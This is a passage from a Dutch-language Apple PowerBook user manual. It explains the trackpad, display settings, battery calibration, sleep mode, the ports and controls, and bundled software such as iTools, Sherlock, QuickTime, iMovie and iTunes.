de aanwijzer over het scherm te verplaatsen. Druk op de knop bij het stuurvlak om een
onderdeel op het scherm te selecteren of enkel of dubbel op het onderdeel te klikken.
Opmerking: U kunt ook direct op het stuurvlak klikken en dubbel klikken. U kunt deze
optie inschakelen in het regelpaneel 'Stuurvlak' in Mac OS 9 of in het paneel 'Muis' van het
programma 'Systeemvoorkeuren' in Mac OS X.
Het stuurvlak reageert op de snelheid waarmee u uw vinger beweegt. Als u de aanwijzer een
klein stukje over het scherm wilt verplaatsen, beweegt u uw vinger langzaam over het
stuurvlak. Hoe sneller u uw vinger beweegt, hoe groter de afstand is waarover de aanwijzer
op het scherm wordt verplaatst.
®
Stuurvlak StuurvlakknopAan de slag 13
Tips voor het gebruik van het stuurvlak
Het stuurvlak werkt het beste als u zich aan de volgende richtlijnen houdt:
m Gebruik één vinger. Bedien het stuurvlak niet met een pen of ander voorwerp.
m Houd uw vinger en het stuurvlak droog. Is het stuurvlak vochtig, wrijf het dan
voorzichtig droog met een schone doek voordat u het gebruikt.
m Gebruik geen schoonmaakmiddelen om het stuurvlak te reinigen.
Kies 'Mac Help' of 'Mac oefeningen' uit het Help-menu voor meer informatie over het
gebruik van het stuurvlak.14 Hoofdstuk 1
De instellingen van het interne beeldscherm aanpassen
Voordat u met de nieuwe PowerBook gaat werken, dient u wellicht de instellingen van het
beeldscherm aan te passen zodat alle onderdelen op het scherm goed zichtbaar zijn.
De helderheid aanpassen
Gebruik de toetsen met de aanduiding ¤ om de helderheid van het scherm te wijzigen.
®
¤ HelderheidsregelaarsAan de slag 15
De resolutie aanpassen
U kunt de weergave op het beeldscherm vergroten door van de standaardresolutie over te
schakelen naar een lagere resolutie. U kunt de resolutie van het beeldscherm als volgt
aanpassen:
m Klik in Mac OS 9 op de module 'Beeldschermresolutie' in de Regelbalk.
m Open in Mac OS X het paneel 'Beeldschermen' van het programma 'Systeemvoorkeuren'.
Als u de beeldscherminstellingen via het beeldschermsymbool in de menubalk wilt
opgeven, schakelt u het aankruisvak 'Toon beeldschermsymbool in menubalk' in.
Ondersteunde resoluties voor het interne beeldscherm
De PowerBook is voorzien van een breed beeldscherm met een resolutie van 1152 x 768 dat
ook standaardresoluties ondersteunt, zoals 1024 x 768. Als u gebruikmaakt van een
standaardresolutie, verschijnt aan beide zijden van het beeldscherm een zwarte balk.
Bij de meeste programma's wordt automatisch de beste resolutie geselecteerd.
U kunt bijvoorbeeld gebruikmaken van een standaardresolutie voor synchrone weergave op
een extern beeldscherm of voor bepaalde programma's, zoals spelletjes of
presentatieprogramma's, die het beste worden weergegeven met een standaardresolutie.
Als u met een programma werkt waarvoor de standaardresolutie het meest geschikt is en u
wilt de zwarte balken verbergen, kunt u de "uitgerekte" versie van de resolutie selecteren.
Het beeld wordt dan over het gehele scherm uitgerekt, zodat de zwarte balken niet zichtbaar
zijn. Als u in Mac OS 9 andere uitgerekte resoluties wilt selecteren, houdt u de Control-toets
ingedrukt terwijl u klikt op de module 'Beeldschermresolutie' in de Regelbalk.
In Mac OS X kunt u een resolutie van 896 x 600 of lager instellen via het
beeldschermsymbool in de menubalk. Dit worden geschaalde resoluties genoemd. Wanneer
u naar een geschaalde resolutie overschakelt, zien onderdelen op het scherm er groter uit,
waardoor ze beter zichtbaar zijn. Het is echter mogelijk dat lagere resoluties minder scherp
worden weergegeven dan de standaardresolutie.
De module
'Beeldschermresolutie'16 Hoofdstuk 1
En nu?
Dit is alles dat u hoeft te weten om met de PowerBook aan de slag te kunnen gaan. Wanneer
u de computer voor de eerste keer opstart, helpt de configuratie-assistent u stapsgewijs
verder met de configuratie van de computer en het gebruiksklaar maken voor het Internet.
Als u meer wilt weten, raadpleegt u de volgende gedeelten in deze handleiding:
De batterij kalibreren
Om de batterij zo lang mogelijk te kunnen gebruiken, dient u de batterij binnen een week na
aanschaf van de PowerBook te ontladen. Vervolgens laadt u de batterij volledig op. Ga hierbij
als volgt te werk:
1 Sluit de lichtnetadapter aan en laad de batterij volledig op totdat het indicatielampje van de
batterij brandt en het metertje op het scherm (raadpleeg pagina 59) aangeeft dat de batterij
volledig is opgeladen.
2 Koppel de lichtnetadapter los en gebruik de PowerBook totdat er voor het eerst een
waarschuwingsvenster verschijnt dat aangeeft dat de batterij bijna leeg is.
3 Sluit de lichtnetadapter aan en laat deze aangesloten totdat de batterij volledig is opgeladen.
Voor meer informatie over... Raadpleegt u...
De computer uitschakelen en in de
sluimerstand zetten
“De PowerBook in de sluimerstand zetten of
uitschakelen” op pagina 17.
De voorzieningen van de apparatuur en
programmatuur van de PowerBook
hoofdstuk 2, “Vertrouwd raken met de
computer”
Aanvullende informatie in Mac Help “Mac Help: antwoorden op al uw vragen over
de Macintosh” op pagina 44.
Bepaalde voorzieningen van de PowerBook hoofdstuk 3, “Werken met de computer”
Geheugen installeren hoofdstuk 5, “Extra apparatuur installeren of
de batterij vervangen”
Problemen met de PowerBook oplossen hoofdstuk 6, “Problemen oplossen”
Belangrijk U hoeft deze procedure slechts één keer uit te voeren om de batterij te
kalibreren. Vervolgens kunt u de lichtnetadapter bij elke batterijlading aansluiten of
loskoppelen.Aan de slag 17
De PowerBook in de sluimerstand zetten of uitschakelen
Als u de PowerBook kortere of langere tijd niet gebruikt, kunt u het volgende doen.
De PowerBook in de sluimerstand zetten
Zet de PowerBook in de sluimerstand als u deze even niet gebruikt. Als de sluimerstand is
geactiveerd, kunt u de computer zeer snel starten doordat het opstartproces wordt
overgeslagen. Als de sluimerstand is ingeschakeld, is het scherm donker en knippert er een
wit lampje onder het beeldscherm.
U kunt de PowerBook op de volgende twee manieren snel in de sluimerstand zetten:
m Klap het scherm dicht.
m Kies 'Sluimer' uit het Speciaal-menu in Mac OS 9 of uit het Apple-menu (K) in Mac OS X.
De computer uit de sluimerstand halen:
m Klap het beeldscherm op als het gesloten is. De sluimerstand wordt opgeheven zodra u
het beeldscherm van de PowerBook opklapt. (U kunt deze optie uitschakelen in het
regelpaneel 'Energiestand' in Mac OS 9.)
m Als het beeldscherm al is opgeklapt, drukt u op de Aan/uit-toets (®) of op een
willekeurige toets op het toetsenbord.
De PowerBook uitzetten
Zet de PowerBook uit als u de computer gedurende langere tijd niet gebruikt. Ga volgens
een van de volgende procedures te werk:
m Kies 'Zet uit' uit het Speciaal-menu in Mac OS 9 of uit het Apple-menu (K) in Mac OS X.
m Druk op de Aan/uit-knop en klik op 'Zet uit' in het dialoogvenster dat verschijnt.
Raadpleeg “De PowerBook opbergen” op pagina 103 als u de PowerBook voor langere tijd
opbergt en wilt voorkomen dat de batterij volledig leeg raakt.
Attentie Wacht een aantal seconden totdat het lampje van de sluimerstand begint te
knipperen (het teken dat de sluimerstand van de computer is geactiveerd en de harde
schijf niet meer draait) voordat u de PowerBook verplaatst. Als u de computer verplaatst
terwijl de harde schijf draait, kan de harde schijf beschadigd raken. Dit kan tot gevolg
hebben dat gegevens verloren gaan of dat de computer niet meer vanaf de harde schijf
kan worden opgestart.19
H O O F D S T U K
2
2 Vertrouwd raken met de computer
In dit hoofdstuk vindt u een overzicht van belangrijke voorzieningen van de apparatuur en
programmatuur van de computer en de unieke Internet-diensten voor Macintosh gebruikers.
Met de PowerBook hebt u een zeer complete notebook in handen. Deze computer is
uitgerust met het nieuwste op het gebied van computertechnologie, zoals een PowerPC™
G4-processor, FireWire, USB en AirPort voor draadloze Internet- en netwerkverbinding.
Bovendien is de PowerBook uitgerust met het Mac OS-besturingssysteem, dat krachtige
functies biedt om via het Internet videobeelden te bekijken, informatie te zoeken, te
winkelen en zelfs uw programmatuur automatisch bij te werken.
Verder is iMovie geïnstalleerd, een gebruikersvriendelijk programma voor het bewerken van
digitale videobeelden. Met dit programma kunt u uw eigen desktop movies maken. Hiervoor
hoeft u alleen een digitale videocamera op de FireWire-poort aan te sluiten, iMovie te openen
en u kunt direct aan de slag.
Op de PowerBook is ook iTunes geïnstalleerd, het digitale audioprogramma waarmee u
nummers van muziek-cd's kunt importeren, uw eigen iTunes- bibliotheek kunt maken, naar
een van de vele radiostations op het Internet kunt luisteren en uw eigen cd's kunt branden.
Ten slotte biedt Apple u gratis Internet-diensten, waaronder uw eigen opslagruimte op het
Internet, een persoonlijk e-mailadres bij Mac.com, functies waarmee u eenvoudig uw eigen
website of iMovie-bioscoop kunt maken en nog veel meer.
Informatie voor nieuwe Macintosh gebruikers
Als dit uw eerste Macintosh computer is, raadpleegt u de Mac oefeningen voor meer
informatie over hoe u met het stuurvlak onderdelen op het scherm kunt verplaatsen, hoe u
sites op het world wide web kunt bezoeken en nog veel meer. Kies hiervoor in Mac OS 9 'Mac
oefeningen' uit het Help-menu.
Opmerking: doordat Apple regelmatig nieuwe versies uitbrengt van haar programma's en
systeemprogrammatuur en de Internet-site geregeld bijwerkt, wijken de afbeeldingen in deze
handleiding mogelijk iets af van de afbeeldingen op het scherm.20 Hoofdstuk 2
De onderdelen en regelaars van de PowerBook
®
Ingebouwde luidspreker
® Aan/uit-knop
Opening
voor antidiefstalkabel
Ruimte voor AirPortantenne
Ingebouwde luidspreker/
microfoon
Indicatielampje
sluimerstand
Functietoets (Fn)
Beeldscherm- Stuurvlakknop
ontgrendelingsknop
Stuurvlak Optische-schijfeenheid
met sleuf (dvd-rom
of cd-rw)
Volumetoetsen Schuifje voor
verwijdering toetsenbord
¤ Helderheidsregelaars
Vergrendeling toetsenbord/
Num Lock-indicatielampje
Num Lock-toets
Schuifje voor
verwijdering
toetsenbord
— Toets voor
uitschakelen
geluid
-
Cd/dvdverwijdertoets
Programmeerbare
functietoetsen Vertrouwd raken met de computer 21
¤ Helderheidsregelaars
Hiermee regelt u de helderheid van het beeldscherm.
- Volumetoetsen
Hiermee verhoogt of verlaagt u het volume van de ingebouwde luidsprekers en de
geluidsuitvoerpoort.
Vergrendeling toetsenbord
Door ervoor te zorgen dat het toetsenbord niet gemakkelijk kan worden verwijderd,
beveiligt u de interne onderdelen van de PowerBook.
Num Lock-toets
Hiermee activeert u het numerieke toetsenblok op het toetsenbord van de PowerBook. Als
het numerieke toetsenblok is vergrendeld, brandt het groene lampje van de
toetsenbordvergrendeling.
Cd/dvd-verwijdertoets
Als u deze toets ingedrukt houdt, kunt u een cd of dvd verwijderen. U kunt een schijf ook
verwijderen door het schijfsymbool naar de prullenmand te slepen.
® Aan/uit-knop
Hiermee zet u de PowerBook aan, uit of in de sluimerstand.
Optische-schijfeenheid met sleuf (dvd-rom of optionele cd-rw)
Met de dvd-speler van de PowerBook kunt u cd’s, Photo-cd's, dvd’s, standaardaudio-cd's,
dvd-films en andere media gebruiken. Met de optionele cd-rw-speler kunt u cd's lezen en
muziek, documenten en andere digitale bestanden op een cd-r- of cd-rw-schijf opslaan.
Functietoets (Fn)
Hiermee activeert u de functietoetsen (F1–F12).
Schuifjes voor verwijdering van het toetsenbord
Wanneer u geheugen wilt installeren, trekt u deze schuifjes naar u toe om het toetsenbord
te verwijderen.
Microfoon (onder de luidspreker)
Hiermee kunt u geluiden direct op de harde schijf van de computer opnemen. U kunt ook
een externe microfoon aansluiten op een van de USB-poorten of een professionele
microfoon gebruiken die u op een PC Card aansluit.
Ç Opening voor antidiefstalkabel
Hier kunt u een antidiefstalkabel bevestigen om de PowerBook tegen diefstal te beveiligen.
Indicatielampje sluimerstand
Een knipperend wit lampje geeft aan dat de sluimerstand van de PowerBook is geactiveerd.
Stuurvlak
Hiermee verplaatst u de aanwijzer op het scherm. U kunt het stuurvlak ook zodanig
instellen dat u hiermee dubbel kunt klikken op onderdelen of deze kunt selecteren zonder
dat u de knop bij het stuurvlak hoeft te gebruiken.22 Hoofdstuk 2
De poorten en connectors van de PowerBook
G ™ Æ W
PC Card-sleuf
Knop voor
verwijderen PC Cards
Ruimte
voor
AirPort-antenne
W Poort interne
modem
Koptelefoonpoort
Infraroodvenster
USB-poorten
¯ Poort voor
lichtnetadapter
™ Poort extern
beeldscherm
Ethernet-poort
(10/100/1000Base-T)
G Reset-knop
FireWirepoort
Indicatielampje sluimerstand
ÆS-video-uitvoerpoort
f
G ™ WVertrouwd raken met de computer 23
FireWire-poort
Op deze poorten kunt u snelle externe apparaten aansluiten, zoals digitale videocamera's,
printers en externe opslagmedia.
G Ethernet-poort (10/100/1000 Base-T)
Hiermee kunt u de computer op een snel 10/100/1000 Base-T Ethernet-netwerk aansluiten
of een verbinding tot stand brengen met een andere computer voor het uitwisselen van
bestanden. Andere Ethernet-apparaten worden automatisch herkend dankzij de
automatische detectiefunctie van de Ethernet-poort. U hoeft geen Ethernet-crossoverkabel
te gebruiken om andere Ethernet-apparaten aan te sluiten.
Twee USB-poorten (Universal Serial Bus)
Op deze poorten kunt u extra apparatuur aansluiten, zoals printers, externe opslagmedia,
modems, toetsenborden en joysticks.
™ Poort voor extern beeldscherm (VGA)
Op deze poort kunt u een extern beeldscherm of een externe projector met een VGAconnector aansluiten.
Æ S-video-uitvoerpoort
Hierop kunt u een televisie, videorecorder of ander videoapparaat aansluiten. Met behulp
van deze poort kunt u presentaties geven of dvd-films op de televisie afspelen.
Reset-knop
Hiermee kunt u de computer opnieuw opstarten als u de computer niet kunt uitschakelen
met de Aan/uit-knop of als u de computer niet op de juiste manier opnieuw kunt
opstarten.
W Interne-modempoort
Op de interne modem kunt u rechtstreeks een standaardtelefoonlijn aansluiten.
Infraroodvenster
Via dit venster kunt u draadloos bestanden naar een andere computer met
infraroodvoorzieningen verzenden, afdrukken op een printer met infraroodvoorzieningen
of een verbinding tot stand brengen met een IrDA-netwerk. Ook kunt u synchroniseren
met bepaalde "handheld" apparaten of, indien beschikbaar, met behulp van een mobiele
telefoon een verbinding tot stand brengen met uw Internet-aanbieder.
f Koptelefoonpoort
Op deze poort kunt u externe luidsprekers, een koptelefoon of een ander apparaat voor
geluidsuitvoer aansluiten.
PC Card-sleuf
Met de Type II-sleuf, die geschikt is voor PC Cards en CardBus-kaarten, kunt u de
mogelijkheden van de PowerBook uitbreiden.24 Hoofdstuk 2
De binnenkant van de PowerBook
Batterij
Serienummer Ethernet-ID en AirPort-ID
®
Omgeklapt
toetsenbord
PowerBook met omgeklapt toetsenbord zodat de interne RAM-sleuf zichtbaar is
Omgedraaide PowerBook
Bovenste
geheugensleuf
Onderste
geheugensleuf (bezet)Vertrouwd raken met de computer 25
Geheugensleuven
De computer heeft twee geheugensleuven. In de onderste sleuf is de geheugenmodule
geïnstalleerd. U kunt een extra geheugenmodule installeren in de bovenste sleuf. (Als u
vooraf extra geheugen hebt laten installeren, is de bovenste sleuf mogelijk al bezet.) U kunt
maximaal 1 GB RAM-geheugen in de PowerBook installeren, verdeeld over twee 512-MB
DIMM-modules in elk van de RAM-sleuven. Raadpleeg voor meer informatie het gedeelte
“Extra geheugen installeren” op pagina 73.
Verwisselbare harde schijf
U kunt de interne harde schijf verwijderen om de schijf te repareren of op te bergen.
Raadpleeg voor meer informatie het gedeelte “De interne harde schijf verwijderen” op
pagina 82.
AirPort-kaart
Met de AirPort-kaart kunt u een draadloze verbinding met een netwerk tot stand brengen.26 Hoofdstuk 2
Mac OS X
Apple-menu
Gebruik dit menu
om instellingen te
wijzigen, recente
onderdelen te
openen en de
computer uit te
schakelen.
Venster met
knoppen
Klik op een knop
om het venster te
sluiten, in het Dock
te plaatsen of te
maximaliseren.
Finderknoppenbalk
Klik hier om
mappen,
bestanden en
snelkoppelingen
toe te voegen.
Dock
Klik op een symbool in het Dock om
het onderdeel te openen of te
activeren. Bepaalde symbolen
geven de programmastatus aan.
Uitrolvenster
Documentvensters
bevatten
uitrolvensters voor
het bewaren en
afdrukken.
Knop
Als een knop
oplicht, kunt u op
de Enter- of
Return-toets
drukken.
Statussymbolen
Controleer de
status van
systeemvoorkeuren
in de menubalk.Vertrouwd raken met de computer 27
De mogelijkheden
Mac OS X bevat een nieuwe, krachtige en elegante gebruikersinterface. Met Mac OS X
hoeft u niet in te zitten over de hoeveelheid geheugen die aan een programma moet
worden toegewezen of over hoe u de computer na een fout in een programma opnieuw
moet starten. In de Classic-omgeving van Mac OS X kunt u behalve alle Mac OS Xprogramma's ook alle Mac OS 9-programma's gebruiken. Raadpleeg hoofdstuk 4, “Werken
met het besturingssysteem” op pagina 69 voor meer informatie over de Classic-omgeving.
Mac OS X biedt ook ondersteuning voor Java™ en UNIX-programma's.
Aan de slag
Met het programma 'Systeemvoorkeuren' kunt u alle computerinstellingen wijzigen, van het
bureaublad tot het instellen van gegevens voor netwerktoegang. Met 'Finder' en het Dock
hebt u snel toegang tot mappen, programma's, documenten en andere onderdelen.
Raadpleeg de handleiding Welkom bij Mac OS X bij de computer of kies 'Mac Help' uit het
Help-menu in Mac OS X voor meer informatie over de voorzieningen in Mac OS X.
Snelle methoden en tips
'Finder' aanpassen
U kunt een afbeelding of kleur voor het bureaublad instellen met het paneel 'Bureaublad' van
het programma 'Systeemvoorkeuren'. U kunt ook de onderdelen in de knoppenbalk van het
Finder-venster selecteren en de volgorde van de symbolen wijzigen. Kies 'Pas knoppenbalk
aan' uit het Weergave-menu en sleep de onderdelen naar de werkbalk.
Het Dock aanpassen
U kunt de grootte van de symbolen in het Dock wijzigen en de vergrotingsfunctie
inschakelen, zodat de symbolen onder de aanwijzer groter worden weergegeven dan de rest
van het Dock. U kunt het Dock aan de onder-, linker- of rechterkant van het scherm plaatsen.
Kies 'Dock' uit het Apple-menu (K) en kies vervolgens 'Dock-voorkeuren'. U kunt ook het
programma 'Systeemvoorkeuren' openen en vervolgens op 'Dock' klikken.
Het bureaublad ordenen
Houd het bureaublad overzichtelijk door geopende vensters te minimaliseren, zodat deze in
het Dock worden weergegeven. Klik dubbel op de titelbalk van een venster of klik op de
middelste knop in de linkerbovenhoek om het venster te verplaatsen naar het Dock. Klik op
het symbool van het venster in het Dock om het venster weer te openen. U kunt bepaalde
systeeminstellingen ook beheren met de statussymbolen in de menubalk.
Meer informatie
Raadpleeg de handleiding Welkom bij Mac OS X bij de computer voor meer informatie over
het aanpassen van de Mac OS X-omgeving en over het werken met Mac OS X.28 Hoofdstuk 2
iTools: gratis Internet-diensten voor Mac-gebruikers
iTools-diensten worden in het Engels aangeboden.
U kunt heel eenvoudig gratis een eigen
e-mailadres krijgen bij Mac.com. Dit adres
is bruikbaar in alle e-mailprogramma's.
20 MB eigen opslagruimte op de
Internet-servers van Apple. Hier kunt u
foto's, films en andere bestanden
toegankelijk maken voor alle Internetgebruikers. U kunt ook extra
opslagruimte kopen.
Hiermee maakt u in drie eenvoudige
stappen een eigen website. Hierop kunt u
bijvoorbeeld geboortekaartjes, uw
curriculum vitae, fotoalbums of uw eigen
iMovie-films plaatsen. Uw website wordt
op de Internet-server van Apple
geplaatst, zodat elke Internet-gebruiker
uw site kan bekijken.
Hiermee kunt u iCards voor elke
gelegenheid sturen. U kunt kiezen
uit kant-en-klare foto's of eigen
iCards maken met de foto's die op
uw iDisk staan.Vertrouwd raken met de computer 29
De mogelijkheden
iTools is een nieuw type Internet-diensten dat Apple Mac-gebruikers biedt. Met iTools
verzendt u e-mails en kaarten naar uw vrienden en maakt u foto's en films beschikbaar voor
andere Internet-gebruikers. U kunt zelfs uw eigen website maken.
Aan de slag
1 Breng een verbinding tot stand met het Internet.
2 Ga naar www.apple.com (Engelstalig).
3 Klik op de tab 'iTools' en klik vervolgens op de knop 'Sign Up'.
Snelle methoden en tips
Afbeeldingen naar de iDisk uploaden om zo aangepaste iCards te maken
U kunt iCards verzenden met een eigen afbeelding. Sla de afbeelding op in de vorm van een
GIF- of JPEG-bestand en kopieer deze naar de map 'Pictures' op uw iDisk. Als u daarna een
iCard maakt via de categorie 'Create your own', wordt uw afbeelding als keuzemogelijkheid
weergegeven.
Met een HomePage-sjabloon in enkele minuten uw eigen webpagina maken
In HomePage vindt u sjablonen voor webpagina's die u kunt wijzigen door uw eigen tekst en
afbeeldingen toe te voegen. Zo kunnen leraren met behulp van de educatieve sjablonen van
HomePage informatie over de lessen, opgegeven huiswerk en andere gegevens voor ouders
op het Internet plaatsen. Ook kunt u met het fotoalbum van HomePage en de iMoviesjablonen foto's en films op eenvoudige wijze aan vrienden en familie laten zien.
In plaats van met een webbrowser kunt u iDisk ook als volgt direct openen:
m Selecteer in Mac OS 9 het symbool 'iDisk' en kies 'Maak Alias' uit het Archief-menu. Als u
toegang tot uw iDisk wilt krijgen, klikt u dubbel op de alias en geeft u uw wachtwoord op.
m Kies in Mac OS X 'iDisk' uit de knoppenbalk van een Finder-venster of kies 'iDisk' uit het
Ga-menu.30 Hoofdstuk 2
Sherlock 2: uw persoonlijke speurder op het Internet
Knop 'Zoek'
Geef op wat u
zoekt en klik
vervolgens op
deze knop om de
zoekopdracht uit
te voeren.
Zoeksites
Hier vindt u de
zoekprogramma's
die door Sherlock
worden gebruikt
om op het Internet
te zoeken.
Sherlock-kanalen
Zoek op het Internet naar
personen, winkels, nieuws,
Apple informatie en meer.
Sherlock-symbool
Klik op het Sherlocksymbool in het Dock.Vertrouwd raken met de computer 31
De mogelijkheden
Met Sherlock 2 kunt u op het Internet zowel informatie zoeken als on line winkelen. Met dit
programma vindt u in een handomdraai personen, nieuws en wat u verder maar wilt. U kunt
op zoek gaan naar boeken en muziek, veilingen bezoeken, de diverse prijzen vergelijken en
nagaan of de gewenste producten verkrijgbaar zijn.
Aan de slag
1 Breng een verbinding tot stand met het Internet.
2 Open Sherlock 2 als volgt:
m Klik in Mac OS 9 dubbel op het symbool 'Sherlock' op het bureaublad. U kunt ook 'Zoek
op Internet' uit het Archief-menu of 'Sherlock 2' uit het Apple-menu (K)kiezen.
m Klik in Mac OS X op het symbool 'Sherlock' in het Dock of kies 'Zoek' uit het Archiefmenu als u bestanden op de computer wilt zoeken.
3 Selecteer een Sherlock-kanaal.
4 Geef op wat u zoekt en klik op de knop 'Zoek'.
Snelle methoden en tips
Uw eigen Sherlock-zoekkanaal maken
1 Kies 'Nieuw kanaal' uit het Kanalen-menu.
2 Selecteer een naam, een kanaaltype en een symbool.
3 Download Sherlock-plug-ins en sleep deze naar de lijst met zoeksites. U kunt ook de Optiontoets ingedrukt houden en plug-ins uit andere zoeklijsten naar het symbool van het nieuwe
kanaal slepen.
Meer informatie
Voor meer informatie over de mogelijkheden van Sherlock opent u Mac Help en zoekt u op
'Sherlock'. Als u extra plug-ins wilt downloaden en wilt weten hoe u een eigen Sherlockplugin maakt, raadpleegt u de Sherlock-website op www.apple.com/nl/sherlock. 32 Hoofdstuk 2
Apple.com: uw vertrekpunt voor het Internet
Programmatuur
voor de Mac
guide.apple.com
ussoftware.lasso
Hier kunt u per categorie zoeken
naar Mac-programmatuur van
Apple en andere fabrikanten.
De Apple Store
www.apple.com/nlstore
De nieuwste Apple apparatuur en
programmatuur en accessoires.
Macintosh
Products Guide
www.apple.com/guide
Raadpleeg deze website als u op
zoek bent naar apparatuur of
programmatuur voor de Mac of let
op het Mac-logo (Engelstalig).Vertrouwd raken met de computer 33
Apple Nieuws
www.apple.com/nl/hotnews
Het laatste nieuws van Apple,
informatie over evenementen,
programmatuurupdates voor
de Mac en de mooiste
QuickTime-films.
Apple ondersteuning
www.apple.com/nl/support
Op deze website vindt u onder
andere de meest recente
informatie over het oplossen van
problemen, kunt u
programmatuurupdates
downloaden en kunt u zoeken
naar informatie over het
AppleCare Protection Plan.
Mac OS X
www.apple.com/nl/macosx
Voor het laatste nieuws over
Mac OS X, het meest geavanceerde
besturingssysteem ter wereld.34 Hoofdstuk 2
QuickTime: audio en video op het Internet
Volumeregelaar
QuickTime TV
Als u hier klikt, ziet u
welke QuickTime TVkanalen u via de
computer kunt
bekijken.
QuickTime-symbool
Klik op het QuickTimesymbool in het Dock.Vertrouwd raken met de computer 35
De mogelijkheden
U kunt met QuickTime niet alleen video- en muziekbestanden op de Mac afspelen maar ook
live-uitzendingen en opgenomen uitzendingen via het Internet bekijken. U kunt uw favoriete
kanalen opslaan door deze te slepen naar uw persoonlijke QuickTime-favorietenlade ( ).
Aan de slag
1 Breng een verbinding tot stand met het Internet.
2 Open QuickTime Player als volgt:
m Klik in Mac OS 9 dubbel op het symbool 'QuickTime Player' op het bureaublad. U kunt
ook achtereenvolgens de map 'Programma's' en de map 'QuickTime' openen. Klik
vervolgens dubbel op 'QuickTime Player'.
m Klik in Mac OS X op het symbool 'QuickTime Player' in het Dock. U kunt ook dubbel
klikken op 'QuickTime Player' in de map 'Applications'.
3 Selecteer een kanaal of kies een optie uit het QuickTime Player-menu. QuickTime TV
gebruikt Internet-streaming waardoor u de nieuwste video-, muziek- en gegevensbestanden
van het Internet kunt halen, zonder de bestanden op te slaan op de harde schijf.
U kunt de favorietenlade ( ) weergeven door 'Favorieten' te kiezen uit het QTV-menu en
vervolgens 'Toon favorieten' uit het submenu te kiezen.
Snelle methoden en tips
Extra QuickTime TV-kanalen toevoegen
Ga naar www.apple.com/nl/quicktime en klik op de knop voor QTV-kanalen. Hier vindt u alle
beschikbare QuickTime-kanalen. Terwijl u naar een QuickTime TV-kanaal kijkt, kunt u dit
met één klik toevoegen aan de favorietenlade in QuickTime Player.
Stap over op QuickTime Pro voor de volgende mogelijkheden:
m video's schermvullend afspelen en het formaat van films wijzigen;
m streaming films maken;
m met meer dan dertig audio-, video- en afbeeldingsstructuren werken, waaronder Flash;
m films en audiobestanden maken, openen, bewerken en opslaan met een werkwijze die net
zo eenvoudig is als knippen en plakken.
Meer informatie
Video's kijken via het Internet is slechts één van de mogelijkheden van QuickTime.
Raadpleeg QuickTime Help voor meer informatie. Als u extra kanalen wilt downloaden of
informatie wilt zoeken over het opzetten van een eigen Internet-streamingserver, raadpleegt
u de QuickTime-website op www.apple.com/nl/quicktime.
♥
♥36 Hoofdstuk 2
iMovie 2: zelf digitale films maken en bewerken
Monitorvenster!
Hier kunt u een
voorvertoning van
uw film bekijken of
videobeelden
direct vanaf een
digitale camera
weergeven.
Afspeelknoppen
Hiermee speelt u de film
af in het monitorvenster
van iMovie.
Modusknoppen
Hier kunt u kiezen
tussen de
camera- of de
bewerkmodus.
Tijdbalkviewer
De fragmentenviewer en de
tijdbalkviewer zijn
visuele tijdbalken
voor het maken
en bewerken van
films.
Bewerkingsknoppen
Via deze knoppen
opent u de
paletten waarmee
u het geluid, de
video-effecten, de
titels (tekst) en de
overgangen instelt
en aanpast. Met
de knop 'Archief'
opent u het
fragmentenpalet.
Navigatiebalk
Met behulp van deze
balk kunt u gedeelten
van de film selecteren.
Audiosporen
Hiermee kunt u
opgenomen geluiden,
muziek en geluidseffecten bewerken.
Afspeelkop
Deze kop geeft de
locatie aan van het
beeld in het
monitorvenster van
iMovie. Verplaats de
afspeelkop om te zien
waar fragmenten in
de film voorkomen.
Videospoor
Hier kunt u de
videobeelden
selecteren
waarvan u het
geluid wilt
bewerken.
Fragmentenviewer
Archief
Nadat u de videofragmenten hebt
geïmporteerd,
sleept u ze vanuit
het archief naar
de fragmentenviewer.Vertrouwd raken met de computer 37
De mogelijkheden
iMovie is een gebruikersvriendelijk programma voor het bewerken van digitale videobeelden.
Met iMovie en een dv-camcorder (digitale video) kunt u uw eigen films maken en bewerken.
Importeer videobeelden van uw camera, bewerk fragmenten en voeg overgangen, titels,
geluidseffecten en muziek toe. Kopieer de film vervolgens naar een camcorderband of maak
een QuickTime-film. U kunt uw QuickTime-film ook aan anderen laten zien door deze op uw
iDisk of HomePage te plaatsen.
De computer wordt geleverd met een versie van iMovie die geschikt is voor Mac OS X, en
een versie voor Mac OS 9.
Aan de slag
1 Neem de video op en sluit de camera aan op de FireWire-poort van de computer.
2 Open iMovie in de map 'iMovie' in de programmamap.
3 Klik op de knop 'Importeer' om filmfragmenten in het archief te importeren. Voeg de
fragmenten vervolgens toe aan de film door deze naar de fragmentenviewer te slepen.
4 Stel uw film samen en bewerk deze in de fragmentenviewer en de tijdbalkviewer.
5 Voeg overgangen, titels, geluid en muziek toe.
6 Kies 'Exporteer' uit het Archief-menu zodra u klaar bent.
Snelle methoden en tips
De film die u met iMovie hebt gemaakt aan familie en vrienden vertonen
Exporteer uw film in de vorm van een QuickTime Web-film en kopieer de film naar uw iDisk.
Maak vervolgens met HomePage uw eigen iMovie-bioscoop, zodat anderen uw film op het
Internet kunnen bekijken.
Meer informatie
Raadpleeg iMovie Help of de iMovie-oefeningen voor meer informatie over het gebruik van
iMovie. Voor de meest recente informatie over iMovie, zoals iMovie-updates, extra plug-ins
en een lijst met compatibele dv-camcorders, raadpleegt u de iMovie-website op
www.apple.com/nl/imovie. 38 Hoofdstuk 2
iTunes: digitale muziek op de Mac
Verwijderknop
Tuner
Hiermee kunt u
afstemmen op een
van de vele Internetradiostations.
Audio-cd's
U kunt cd's afspelen
via de computer en
nummers in iTunes
importeren.
Muziek voor
onderweg!
U kunt nummers
overzetten naar
een MP3-speler
door deze vanuit
de bibliotheek
naar de speler
te slepen.
Nieuwe afspeellijst!
U kunt eigen afspeellijsten
maken met behulp van de
nummers in de muziekbibliotheek.
Zoekvenster
Als u hier
begint te typen,
worden in iTunes
de nummers
weergegeven die
voldoen
aan uw
zoekopdracht.
Visuele effecten
In iTunes is een adembenemende lichtshow
ingebouwd, die synchroon
loopt met de maat van de
muziek. De kleuren en
patronen zijn voor elk
nummer weer anders.Vertrouwd raken met de computer 39
De mogelijkheden
Met iTunes kunt u nummers van audio-cd's als MP3-bestanden importeren, afspeellijsten
samenstellen, nummers overbrengen naar een draagbare MP3-speler, luisteren naar een van
de vele radiostations op het Internet en nog veel meer.
Aan de slag
1 Open iTunes (in de map 'Applications (Mac OS 9)' op de harde schijf ).
2 Plaats een muziek-cd in de optische-schijfeenheid.
3 Schakel het aankruisvak in naast de nummers die u wilt importeren.
4 Klik op de knop 'Importeer'. De nummers worden geconverteerd naar MP3-bestanden en
opgeslagen in de bibliotheek.
Snelle methoden en tips
Afspeellijsten samenstellen met uw favoriete nummers
